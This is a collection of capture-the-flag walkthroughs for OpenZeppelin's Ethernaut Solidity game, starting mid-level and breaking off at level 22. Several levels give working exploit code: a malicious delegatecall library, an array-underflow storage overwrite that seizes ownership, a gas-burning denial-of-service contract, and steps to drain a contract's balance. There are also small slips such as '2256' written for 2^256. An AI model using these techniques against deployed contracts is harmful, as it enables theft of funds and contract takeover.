addresses. 57 | 58 | According to `ERC20` spec, there's also an allowance mechanism that allows anyone to authorize someone else (the `spender`) to spend their tokens! This is exactly what `allowance(address owner, address spender)` method is for, in the `ERC20` contract. The allowance can then be transacted using the `transferFrom(address sender, address recipient, uint256 amount)` method. 59 | 60 | Apart from `player` create another account named - `spender` in your wallet (MetaMask or some other wallet). 61 | 62 | Get the `player`'s total balance by: 63 | ```javascript 64 | totalBalance = await contract.balanceOf(player).then(v => v.toString()) 65 | 66 | // Output: '1000000000000000000000000' 67 | ``` 68 | 69 | Make the `player` approve `spender` for all of it's tokens: 70 | ```javascript 71 | await contract.approve(spender, totalBalance) 72 | ``` 73 | 74 | Make the `spender` to transfer all of it's allowance (which is equal to all of the tokens of `player`) to `spender` itself. 75 | 76 | I used MetaMask wallet and it connects only a single account at a time to an application. But we need both `player` and `spender` connected. 77 | 78 | For this, in a new browser window, go to Remix, and connect only the `spender` account to it. (Make sure `player` is disconnected from Remix and `spender` is disconnected from Ethernaut. For me, switching accounts in one window caused switch in other window too, otherwise). 79 | 80 | Create an interface to `NaughtCoin`: 81 | ```solidity 82 | // SPDX-License-Identifier: MIT 83 | pragma solidity ^0.6.0; 84 | 85 | interface INaughtCoin { 86 | function transferFrom( 87 | address sender, 88 | address recipient, 89 | uint256 amount 90 | ) external returns (bool); 91 | } 92 | ``` 93 | 94 | And load instance of `NaughtCoin` using **At Address** button with given instance address of `NaughtCoin`. 95 | 96 | Call the `transferFrom` method with params - `player` address as sender, `spender` address as recipient and `1000000000000000000000000` as amount. 97 | 98 | And that's it. 99 | 100 | Level cleared! 101 | 102 | 103 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 104 | 105 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 106 | 107 | -------------------------------------------------------------------------------- /level_16_Preservation.md: -------------------------------------------------------------------------------- 1 | # Level 16: Preservation 2 | 3 | This is the level 16 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [Layout of state variables](https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html#layout-of-state-variables-in-storage) in Storage 7 | - Context preserving nature of [Delegatecall](https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c) function 8 | 9 | ## Hack 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | contract Preservation { 17 | 18 | // public library contracts 19 | address public timeZone1Library; 20 | address public timeZone2Library; 21 | address public owner; 22 | uint storedTime; 23 | // Sets the function signature for delegatecall 24 | bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); 25 | 26 | constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { 27 | timeZone1Library = _timeZone1LibraryAddress; 28 | timeZone2Library = _timeZone2LibraryAddress; 29 | owner = msg.sender; 30 | } 31 | 32 | // set the time for timezone 1 33 | function setFirstTime(uint _timeStamp) public { 34 | timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 35 | } 36 | 37 | // set the time for timezone 2 38 | function setSecondTime(uint _timeStamp) public { 39 | timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 40 | } 41 | } 42 | 43 | // Simple library contract to set the time 44 | contract LibraryContract { 45 | 46 | // stores a timestamp 47 | uint storedTime; 48 | 49 | function setTime(uint _time) public { 50 | storedTime = _time; 51 | } 52 | } 53 | ``` 54 | 55 | `player` has to claim the ownership of `Preservation`. 56 | 57 | The vulnerability `Preservation` contract comes from the fact that its storage layout is NOT parallel or complementing to that of `LibraryContract` whose method the `Preservation` is calling using `delegatecall`. 58 | 59 | Since `delegatecall` is context-preserving any write would alter the storage of `Preservation`, and NOT `LibraryContract`. 60 | 61 | The call to `setTime` of `LibraryContract` is _supposed_ to change `storedTime` (slot 3) in `Preservation` but instead it would write to `timeZone1Library` (slot 0). This is because `storeTime` of `LibraryContract` is at slot 0 and the corresponding slot 0 storage at `Preservation` is `timeZone1Library`. 62 | 63 | ``` 64 | | LibraryContract Preservation 65 | -------------------------------------------------- 66 | slot 0 | storedTime <- timeZone1Library 67 | slot 1 | _ timeZone2Library 68 | slot 2 | _ owner 69 | slot 3 | _ storedTime 70 | ``` 71 | 72 | This information can be used to alter `timeZone1Library` address to a malicious contract - `EvilLibraryContract`. So that calls to `setTime` is executed in a `EvilLibraryContract`: 73 | 74 | ```solidity 75 | // SPDX-License-Identifier: MIT 76 | pragma solidity ^0.6.0; 77 | 78 | contract EvilLibraryContract { 79 | address public timeZone1Library; 80 | address public timeZone2Library; 81 | address public owner; 82 | 83 | function setTime(uint _time) public { 84 | owner = msg.sender; 85 | } 86 | } 87 | ``` 88 | 89 | Note that storage layout of `EvilLibraryContract` is complementing to `Preservation` so that proper state variables are changed in `Preservation` when any storage changes. Moreover, `setTime` contains malicious code that changes ownership to `msg.sender` (which would the `player`). 90 | 91 | Let's start the attack! 92 | 93 | First deploy `EvilLibraryContract` and copy it's address. Then alter the `timeZone1Library` in `Preservation` by: 94 | ```javascript 95 | await contract.setFirstTime() 96 | ``` 97 | (a 32 byte `uint` type can accommodate 20 byte `address` value) 98 | 99 | Now the `delegatecall` in `setFirstTime` would execute `setTime` of `EvilLibraryContract`, instead of `LibraryContract`. 100 | 101 | Call `setFirstTime` with any `uint` param: 102 | ```javascript 103 | await contract.setFirstTime(1) 104 | ``` 105 | 106 | Bang! `player` (`msg.sender`) is set as `owner` through `setTime` of `EvilLibraryContract`. 107 | 108 | Verify by: 109 | ```javascript 110 | await contract.owner() === player 111 | 112 | // Output: true 113 | ``` 114 | 115 | Level cracked! 116 | 117 | 118 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 119 | 120 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 121 | 122 | -------------------------------------------------------------------------------- /level_17_Recovery.md: -------------------------------------------------------------------------------- 1 | # Level 17: Recovery 2 | 3 | This is the level 17 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - Basic [Etherscan](https://rinkeby.etherscan.io) inspection 7 | - [Determining address of a new contract](https://swende.se/blog/Ethereum_quirks_and_vulns.html) 8 | 9 | ## Hack 10 | Given contract: 11 | ```solidity 12 | // SPDX-License-Identifier: MIT 13 | pragma solidity ^0.6.0; 14 | 15 | import '@openzeppelin/contracts/math/SafeMath.sol'; 16 | 17 | contract Recovery { 18 | 19 | //generate tokens 20 | function generateToken(string memory _name, uint256 _initialSupply) public { 21 | new SimpleToken(_name, msg.sender, _initialSupply); 22 | 23 | } 24 | } 25 | 26 | contract SimpleToken { 27 | 28 | using SafeMath for uint256; 29 | // public variables 30 | string public name; 31 | mapping (address => uint) public balances; 32 | 33 | // constructor 34 | constructor(string memory _name, address _creator, uint256 _initialSupply) public { 35 | name = _name; 36 | balances[_creator] = _initialSupply; 37 | } 38 | 39 | // collect ether in return for tokens 40 | receive() external payable { 41 | balances[msg.sender] = msg.value.mul(10); 42 | } 43 | 44 | // allow transfers of tokens 45 | function transfer(address _to, uint _amount) public { 46 | require(balances[msg.sender] >= _amount); 47 | balances[msg.sender] = balances[msg.sender].sub(_amount); 48 | balances[_to] = _amount; 49 | } 50 | 51 | // clean up after ourselves 52 | function destroy(address payable _to) public { 53 | selfdestruct(_to); 54 | } 55 | } 56 | ``` 57 | 58 | `player` has to retrieve the funds from the lost address of contract which was created using the `Recovery`'s first transaction. 59 | 60 | If the address of the lost `SimpleToken` address is retrieved it's funds can be retrieved using the `destroy` method. 61 | 62 | The easiest way to solve this would be to copy the address of `Recovery` in [Etherscan](https://rinkeby.etherscan.io/) (on Rinkeby network) and inspect transactions in **Internal Txns** tab. Find the latest **Contract Creation** transaction and click through the same to get the address of created contract. 63 | 64 | Now simply call `destroy` method at that address. 65 | So, if `tokenAddr` is the retrieved address then: 66 | ```javascript 67 | functionSignature = { 68 | name: 'destroy', 69 | type: 'function', 70 | inputs: [ 71 | { 72 | type: 'address', 73 | name: '_to' 74 | } 75 | ] 76 | } 77 | 78 | params = [player] 79 | 80 | data = web3.eth.abi.encodeFunctionCall(functionSignature, params) 81 | 82 | await web3.eth.sendTransaction({from: player, to: tokenAddr, data}) 83 | ``` 84 | That'd do the job. 85 | 86 | Another way to get the lost address is by utilizing the fact that creation of addresses of Ethereum is deterministic and can be calculated by: 87 | ``` 88 | keccack256(address, nonce) 89 | ``` 90 | where `address` is the address of contract that created the transaction and `nonce` is the number of contracts the creator address has created. You can read more [here](https://swende.se/blog/Ethereum_quirks_and_vulns.html). 91 | 92 | That's it! 93 | 94 | 95 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 96 | 97 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 98 | 99 | -------------------------------------------------------------------------------- /level_18_Magic-Number.md: -------------------------------------------------------------------------------- 1 | # Level 18: Magic Number 2 | 3 | This is the level 18 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - Solidity [bytecode and opcode](https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2) basics 7 | - [Destructuring Solidity Contract](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/) series 8 | - EVM opcodes [reference](https://ethereum.org/en/developers/docs/evm/opcodes) 9 | 10 | ## Hack 11 | 12 | Given contract: 13 | ``` 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | contract MagicNum { 18 | 19 | address public solver; 20 | 21 | constructor() public {} 22 | 23 | function setSolver(address _solver) public { 24 | solver = _solver; 25 | } 26 | 27 | /* 28 | ____________/\\\_______/\\\\\\\\\_____ 29 | __________/\\\\\_____/\\\///////\\\___ 30 | ________/\\\/\\\____\///______\//\\\__ 31 | ______/\\\/\/\\\______________/\\\/___ 32 | ____/\\\/__\/\\\___________/\\\//_____ 33 | __/\\\\\\\\\\\\\\\\_____/\\\//________ 34 | _\///////////\\\//____/\\\/___________ 35 | ___________\/\\\_____/\\\\\\\\\\\\\\\_ 36 | ___________\///_____\///////////////__ 37 | */ 38 | } 39 | ``` 40 | 41 | `player` has to make a tiny contract (`Solver`) in size (10 opcodes at most) and set it's address in `MagicNum`. 42 | 43 | There's a tight restriction on size of the `Solver` 44 | contract - 10 opcodes or less. Because each opcode is 1 byte, the bytecode of the solver must be 10 bytes at max. 45 | 46 | Writing high-level solidity would yield the size much greater than just 10 bytes, so we turn to writing raw EVM bytes corresponding to contract opcodes. 47 | 48 | We need to write two sections of opcodes: 49 | - **Initialization Opcodes** which EVM uses to create the contract by replicating the runtime opcodes and returning them to EVM to save in storage. 50 | 51 | - **Runtime Opcodes** which contains the execution logic of the contract. 52 | 53 | Alright, so let's figure out runtime opcode first. 54 | 55 | ### Runtime Opcode 56 | 57 | The code needs to return the 32 byte magic number - 42 or `0x2a` (in hex). 58 | 59 | The corresponding opcode is `RETURN`. But, `RETURN` takes two arguments - the location of value in memory and the size of this value to be returned. That means the `0x2a` needs to be stored in memory first - which `MSTORE` facilitates. But `MSTORE` itself takes two arguments - the location of value in stack and its size. So, we need push the value and size params into stack first using `PUSH1` opcode. 60 | 61 | Lookup the opcodes to be used in opcode reference to get corresponding hex codes: 62 | ``` 63 | OPCODE NAME 64 | ------------------ 65 | 0x60 PUSH1 66 | 0x52 MSTORE 67 | 0xf3 RETURN 68 | ``` 69 | 70 | Let's write corresponding opcodes: 71 | ``` 72 | OPCODE DETAIL 73 | ------------------------------------------------ 74 | 602a Push 0x2a in stack. 75 | Value (v) param to MSTORE(0x60) 76 | 77 | 6050 Push 0x50 in stack. 78 | Position (p) param to MSTORE 79 | 80 | 52 Store value,v=0x2a at position, p=0x50 in memory 81 | 82 | 6020 Push 0x20 (32 bytes, size of v) in stack. 83 | Size (s) param to RETURN(0xf3) 84 | 85 | 6050 Push 0x50 (slot at which v=0x42 was stored). 86 | Position (p) param to RETURN 87 | 88 | f3 RETURN value, v=0x42 of size, s=0x20 (32 bytes) 89 | ``` 90 | 91 | Concatenate the opcodes and we get the bytecode: 92 | ``` 93 | 602a60505260206050f3 94 | ``` 95 | which is exactly 10 bytes, the max limit allowed by the level! 96 | 97 | ### Initialization opcode 98 | 99 | The initialization opcodes need to come before the runtime opcode. These opcodes need to load runtime opcodes into memory and return the same to EVM. 100 | 101 | To `CODECOPY` opcode can be used to copy the runtime opcodes. It takes three arguments - the destination position of copied code in memory, current position of runtime opcode in the bytecode and size of the code in bytes. 102 | 103 | Following opcodes is needed for the above purpose: 104 | ``` 105 | OPCODE NAME 106 | ------------------ 107 | 0x60 PUSH1 108 | 0x52 MSTORE 109 | 0xf3 RETURN 110 | 0x39 CODECOPY 111 | ``` 112 | 113 | But we don't know the position of runtime opcode in final bytecode (since init. opcode comes before runtime opcode). Let's omit it using `--` for now and calculate the init. opcodes: 114 | ``` 115 | OPCODE DETAIL 116 | ----------------------------------------- 117 | 600a Push 0x0a (size of runtime opcode i.e. 10 bytes) 118 | in stack. 119 | Size (s) param to COPYCODE (0x39) 120 | 121 | 60-- Push -- (unknown) in stack 122 | Position (p) param to COPYCODE 123 | 124 | 6000 Push 0x00 (chosen destination in memory) in stack 125 | Destination (d) param to COPYCODE 126 | 127 | 39 Copy code of size, s at position, p 128 | to destination, d in memory 129 | 130 | 600a Push 0x0a (size of runtime opcode i.e. 10 bytes) 131 | in stack. 132 | Size (s) param to RETURN (0xf3) 133 | 134 | 6000 Push 0x00 (location of value in memory) in stack. 135 | Position (p) param to RETURN 136 | 137 | f3 Return value of size, s at position, p 138 | ``` 139 | So the initialization opcode is: 140 | ``` 141 | 600a60--600039600a6000f3 142 | ``` 143 | which is 12 bytes in total. 144 | 145 | And hence runtime opcodes start at index 12 or position `0x0c`. 146 | 147 | Therefore initialization opcode must be: 148 | ``` 149 | 600a600c600039600a6000f3 150 | ``` 151 | 152 | ### Final Opcode 153 | 154 | Alright we have initialization as well as runtime opcodes now. Concatenate them to get final opcode: 155 | ``` 156 | initialization opcode + runtime opcode 157 | 158 | = 600a600c600039600a6000f3 + 602a60505260206050f3 159 | 160 | = 600a600c600039600a6000f3602a60505260206050f3 161 | ``` 162 | 163 | We can now create the contract by noting the fact that a transaction sent to zero address (`0x0`) with some data is interpreted as Contract Creation by the EVM. 164 | 165 | ```javascript 166 | bytecode = '600a600c600039600a6000f3602a60505260206050f3' 167 | 168 | txn = await web3.eth.sendTransaction({from: player, data: bytecode}) 169 | ``` 170 | 171 | After deploying get the contract address from returned transaction receipt: 172 | ```javascript 173 | solverAddr = txn.contractAddress 174 | ``` 175 | 176 | Set the address `Solver` address in `MagicNum`: 177 | ```javascript 178 | await contract.setSolver(solverAddr) 179 | ``` 180 | 181 | Submit instance. 182 | 183 | Done! 184 | 185 | 186 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 187 | 188 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 189 | 190 | -------------------------------------------------------------------------------- /level_19_Alien-Codex.md: -------------------------------------------------------------------------------- 1 | # Level 19: Alien Codex 2 | 3 | This is the level 19 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | 7 | - Contract [storage mechanism](https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/) for dynamically sized arrays 8 | - Integer [overflow/underflow](https://docs.soliditylang.org/en/v0.6.0/security-considerations.html#two-s-complement-underflows-overflows) in Solidity 9 | - [Storage slot assignment in contract on inheritance](https://ethereum.stackexchange.com/questions/63403/in-solidity-how-does-the-slot-assignation-work-for-storage-variables-when-there) 10 | 11 | ## Hack 12 | 13 | Given contract: 14 | ```solidity 15 | // SPDX-License-Identifier: MIT 16 | pragma solidity ^0.5.0; 17 | 18 | import '../helpers/Ownable-05.sol'; 19 | 20 | contract AlienCodex is Ownable { 21 | 22 | bool public contact; 23 | bytes32[] public codex; 24 | 25 | modifier contacted() { 26 | assert(contact); 27 | _; 28 | } 29 | 30 | function make_contact() public { 31 | contact = true; 32 | } 33 | 34 | function record(bytes32 _content) contacted public { 35 | codex.push(_content); 36 | } 37 | 38 | function retract() contacted public { 39 | codex.length--; 40 | } 41 | 42 | function revise(uint i, bytes32 _content) contacted public { 43 | codex[i] = _content; 44 | } 45 | } 46 | ``` 47 | 48 | `player` has to claim ownership of `AlienCodex`. 49 | 50 | The target `AlienCodex` implements ownership pattern so it must have a `owner` state variable of `address` type, which can also be confirmed upon inspecting ABI (`contract.abi`). Moreover, the 20 byte `owner` is stored at slot 0 (as well as 1 byte bool `contact`). 51 | 52 | Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each. 53 | 54 | The vulnerability of `AlienCodex` originates from the `retract` method which sets a new array length without checking a potential underflow. Initially, `codex.length` is zero. Upon invoking `retract` method once, 1 is subtracted from zero, causing an underflow. Consequently, `codex.length` becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of `codex`! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload. 55 | 56 | First call `make_contact` so that we can pass check - `contacted`, on other methods: 57 | ```javascript 58 | await contract.make_contact() 59 | ``` 60 | 61 | Modify `codex` length to 2256 by invoking `retract`: 62 | ```javascript 63 | await contract.retract() 64 | ``` 65 | 66 | Now, we have to calculate the index, `i` of `codex` which corresponds to slot 0 (where `owner` is stored). 67 | 68 | Since, `codex` is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as `keccak256(slot)`: 69 | ``` 70 | p = keccak256(slot) 71 | or, p = keccak256(1) 72 | ``` 73 | 74 | Hence, storage layout would look something like: 75 | ``` 76 | Slot Data 77 | ------------------------------ 78 | 0 owner address, contact bool 79 | 1 codex.length 80 | . 81 | . 82 | . 83 | p codex[0] 84 | p + 1 codex[1] 85 | . 86 | . 87 | 2^256 - 2 codex[2^256 - 2 - p] 88 | 2^256 - 1 codex[2^256 - 1 - p] 89 | 0 codex[2^256 - p] (overflow!) 90 | ``` 91 | Form above table it can be seen that slot 0 in storage corresponds to index, `i` = `2^256 - p` or `2^256 - keccak256(1)` of `codex`! 92 | 93 | So, writing to that index, `i` will change `owner` as well as `contact`. 94 | 95 | You can go on write some Solidity to calculate `i` using `keccak256`, but it can also be done in console which I'm going to use. 96 | 97 | Calculate position, `p` in storage of start of `codex` array 98 | ```javascript 99 | // Position 100 | p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1])) 101 | 102 | // Output: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 103 | ``` 104 | 105 | Calculate the required index, `i`. Use `BigInt` for mathematical calculations between very large numbers. 106 | ```javascript 107 | i = BigInt(2 ** 256) - BigInt(p) 108 | 109 | // Output: 35707666377435648211887908874984608119992236509074197713628505308453184860938n 110 | ``` 111 | 112 | Now since value to be put must be 32 byte, pad the `player` address on left with `0`s to make a total of 32 byte. Don't forget to slice off `0x` prefix from player address! 113 | ```javascript 114 | content = '0x' + '0'.repeat(24) + player.slice(2) 115 | 116 | // Output: '0x000000000000000000000000<20-byte-player-address>' 117 | ``` 118 | 119 | Finally call revise to alter the storage slot: 120 | ```javascript 121 | await contract.revise(i, content) 122 | ``` 123 | 124 | And we hijacked `AlienCodex`! Verify by: 125 | ```javascript 126 | await contract.owner() === player 127 | 128 | // Output: true 129 | ``` 130 | 131 | Done! 132 | 133 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 134 | 135 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 136 | 137 | -------------------------------------------------------------------------------- /level_1_Fallback.md: -------------------------------------------------------------------------------- 1 | # Level 1: Fallback 2 | 3 | This is the level 1 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | 7 | - Sending transactions using [web3.js](https://ethereum.stackexchange.com/questions/53094/sending-ether-via-contract-instance) to a contract and to a payable function 8 | - [Conversion between units ether & wei](https://web3js.readthedocs.io/en/v1.5.2/web3-utils.html#towei) 9 | - Solidity contract [fallback](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function 10 | 11 | ## Hack 12 | 13 | Given contract: 14 | 15 | ```solidity 16 | // SPDX-License-Identifier: MIT 17 | pragma solidity ^0.6.0; 18 | 19 | import '@openzeppelin/contracts/math/SafeMath.sol'; 20 | 21 | contract Fallback { 22 | 23 | using SafeMath for uint256; 24 | mapping(address => uint) public contributions; 25 | address payable public owner; 26 | 27 | constructor() public { 28 | owner = msg.sender; 29 | contributions[msg.sender] = 1000 * (1 ether); 30 | } 31 | 32 | modifier onlyOwner { 33 | require( 34 | msg.sender == owner, 35 | "caller is not the owner" 36 | ); 37 | _; 38 | } 39 | 40 | function contribute() public payable { 41 | require(msg.value < 0.001 ether); 42 | contributions[msg.sender] += msg.value; 43 | if(contributions[msg.sender] > contributions[owner]) { 44 | owner = msg.sender; 45 | } 46 | } 47 | 48 | function getContribution() public view returns (uint) { 49 | return contributions[msg.sender]; 50 | } 51 | 52 | function withdraw() public onlyOwner { 53 | owner.transfer(address(this).balance); 54 | } 55 | 56 | receive() external payable { 57 | require(msg.value > 0 && contributions[msg.sender] > 0); 58 | owner = msg.sender; 59 | } 60 | } 61 | ``` 62 | 63 | and `contract` methods & `web3.js` functions injected into console. 64 | 65 | We, the `player` address, have to somehow become `owner` of the contract & withdraw all amount from contract. 66 | 67 | Key parts to notice are `contribute` function and `receive` fallback function of contract. 68 | 69 | From the constructor, it can be seen that `owner`'s contribution is 1000 eth. One way to become `owner` is to send more than current `owner`'s contributed eth to `contribute` function to be owner. Let's check `owner`'s contributed eth using console: 70 | 71 | ```javascript 72 | ownerAddr = await contract.owner(); 73 | await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString()) 74 | 75 | // Output '1000000000000000000000' 76 | ``` 77 | But, that'd be too much eth! We have nowhere near it. 78 | 79 | Take a look at `receive` fallback function though. It also has code to change ownerships. According to what code is there, we can claim ownership if: 80 | 81 | - Contract has a non-zero contribution from us (i.e. `player`). 82 | - Then, we send the contract a non-zero eth amount. 83 | 84 | `player` address has zero contribution to contract currently, so let's satisfy first condition by sending a **less than 0.001** eth (required acc. to code): 85 | 86 | ```javascript 87 | await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')}) 88 | ``` 89 | 90 | Now we have a non-zero contribution that you can verify by: 91 | 92 | ```javascript 93 | await contract.getContribution().then(v => v.toString()) 94 | ``` 95 | 96 | And now send any non-zero amount of ether to contract: 97 | ```javascript 98 | await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')}) 99 | ``` 100 | 101 | Boom! We claimed ownership of the contract! 102 | You can verify that `owner` is same address as `player` by: 103 | 104 | ```javascript 105 | await contract.owner() 106 | // Output: Same as player address 107 | ``` 108 | 109 | And for the final blow, withdraw all of contract's balance: 110 | 111 | ```javascript 112 | await contract.withdraw() 113 | ``` 114 | 115 | Done. 116 | 117 | 118 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 119 | 120 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 121 | 122 | -------------------------------------------------------------------------------- /level_20_Denial.md: -------------------------------------------------------------------------------- 1 | # Level 20: Denial 2 | 3 | This is the level 20 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | 7 | - Solidity [`call` & `receive`](https://solidity-by-example.org/sending-ether/) methods 8 | - [gasleft](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html#block-and-transaction-properties) function 9 | 10 | ## Hack 11 | 12 | Given contract: 13 | 14 | ``` 15 | // SPDX-License-Identifier: MIT 16 | pragma solidity ^0.6.0; 17 | 18 | import '@openzeppelin/contracts/math/SafeMath.sol'; 19 | 20 | contract Denial { 21 | 22 | using SafeMath for uint256; 23 | address public partner; // withdrawal partner - pay the gas, split the withdraw 24 | address payable public constant owner = address(0xA9E); 25 | uint timeLastWithdrawn; 26 | mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances 27 | 28 | function setWithdrawPartner(address _partner) public { 29 | partner = _partner; 30 | } 31 | 32 | // withdraw 1% to recipient and 1% to owner 33 | function withdraw() public { 34 | uint amountToSend = address(this).balance.div(100); 35 | // perform a call without checking return 36 | // The recipient can revert, the owner will still get their share 37 | partner.call{value:amountToSend}(""); 38 | owner.transfer(amountToSend); 39 | // keep track of last withdrawal time 40 | timeLastWithdrawn = now; 41 | withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); 42 | } 43 | 44 | // allow deposit of funds 45 | receive() external payable {} 46 | 47 | // convenience function 48 | function contractBalance() public view returns (uint) { 49 | return address(this).balance; 50 | } 51 | } 52 | ``` 53 | 54 | `player` has to plant a denial of service attack such that `owner` is unable to withdraw funds through `withdraw` method. 55 | 56 | This contract's vulnerability comes from the `withdraw` method which does not mitigate against possible attack through execution of some unknown external contract code through `call` method. `call` did not set a gas limit that external call can use. 57 | 58 | The `call` method here can invoke the `receive` method of a malicious contract at `partner` address. And this is where we're going to eat up all gas so that `withdraw` function reverts with out of gas exception. 59 | 60 | Since writing to storage is one of the most expensive operations, I will chose it for exhausting the gas in the malicious `GasBurner`: 61 | 62 | ```solidity 63 | // SPDX-License-Identifier: MIT 64 | pragma solidity ^0.6.0; 65 | 66 | contract GasBurner { 67 | uint256 n; 68 | 69 | function burn() internal { 70 | while (gasleft() > 0) { 71 | n += 1; 72 | } 73 | } 74 | 75 | receive() external payable { 76 | burn(); 77 | } 78 | } 79 | ``` 80 | 81 | Deploy `GasBurner` on Remix and copy it's address. 82 | 83 | Now, set the `partner` in `Denial`: 84 | ```javascript 85 | await contract.setWithdrawPartner('') 86 | ``` 87 | 88 | The `GasBurner` has been planted! `withdraw` would now revert on invocation. 89 | 90 | Fin. 91 | 92 | 93 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 94 | 95 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 96 | 97 | -------------------------------------------------------------------------------- /level_21_Shop.md: -------------------------------------------------------------------------------- 1 | # Level 21: Shop 2 | 3 | This is the level 21 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | 7 | - Solidity [view functions](https://docs.soliditylang.org/en/v0.8.11/contracts.html#view-functions) 8 | 9 | ## Hack 10 | 11 | Given contract: 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | interface Buyer { 18 | function price() external view returns (uint); 19 | } 20 | 21 | contract Shop { 22 | uint public price = 100; 23 | bool public isSold; 24 | 25 | function buy() public { 26 | Buyer _buyer = Buyer(msg.sender); 27 | 28 | if (_buyer.price() >= price && !isSold) { 29 | isSold = true; 30 | price = _buyer.price(); 31 | } 32 | } 33 | } 34 | ``` 35 | 36 | `player` has to set `price` to less than it's current value. 37 | 38 | The new value of `price` is fetched by calling `price()` method of a `Buyer` contract. Note that there are two distinct `price()` calls - in the `if` statement check and while setting new value of `price`. A `Buyer` can cheat by returning a legit value in `price()` method of `Buyer` during the first invocation (during `if` check) and returning any less value, say 0, during second invocation (while setting `price`). 39 | 40 | But, we can't track the number of `price()` invocation in `Buyer` contract because `price()` must be a `view` function (as per the interface) - can't write to storage! However, look closely new `price` in `buy()` is set _after_ `isSold` is set to `true`. We can read the public `isSold` variable and return from `price()` of `Buyer` contract accordingly. Bingo! 41 | 42 | Write the malicious `Buyer` in Remix: 43 | ``` 44 | // SPDX-License-Identifier: MIT 45 | pragma solidity ^0.6.0; 46 | 47 | interface IShop { 48 | function buy() external; 49 | function isSold() external view returns (bool); 50 | function price() external view returns (uint); 51 | } 52 | 53 | contract Buyer { 54 | 55 | function price() external view returns (uint) { 56 | bool isSold = IShop(msg.sender).isSold(); 57 | uint askedPrice = IShop(msg.sender).price(); 58 | 59 | if (!isSold) { 60 | return askedPrice; 61 | } 62 | 63 | return 0; 64 | } 65 | 66 | function buyFromShop(address _shopAddr) public { 67 | IShop(_shopAddr).buy(); 68 | } 69 | } 70 | ``` 71 | 72 | Get the address of `Shop`: 73 | ```javascript 74 | contract.address 75 | 76 | // Output: 77 | ``` 78 | 79 | Now simply call `buyFromShop` of `Buyer` with `` as only param. 80 | 81 | The `price` in `Shop` is now 0. Verify by: 82 | ```javascript 83 | await contract.price().then(v => v.toString()) 84 | 85 | // Output: '0' 86 | ``` 87 | 88 | Free buy! 89 | 90 | 91 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 92 | 93 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 94 | 95 | -------------------------------------------------------------------------------- /level_22_Dex.md: -------------------------------------------------------------------------------- 1 | # Level 22: Dex 2 | 3 | This is the level 22 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [ERC20 Token Standard](https://eips.ethereum.org/EIPS/eip-20) 7 | - Solidity [division operation](https://docs.soliditylang.org/en/v0.8.11/types.html#division) 8 | 9 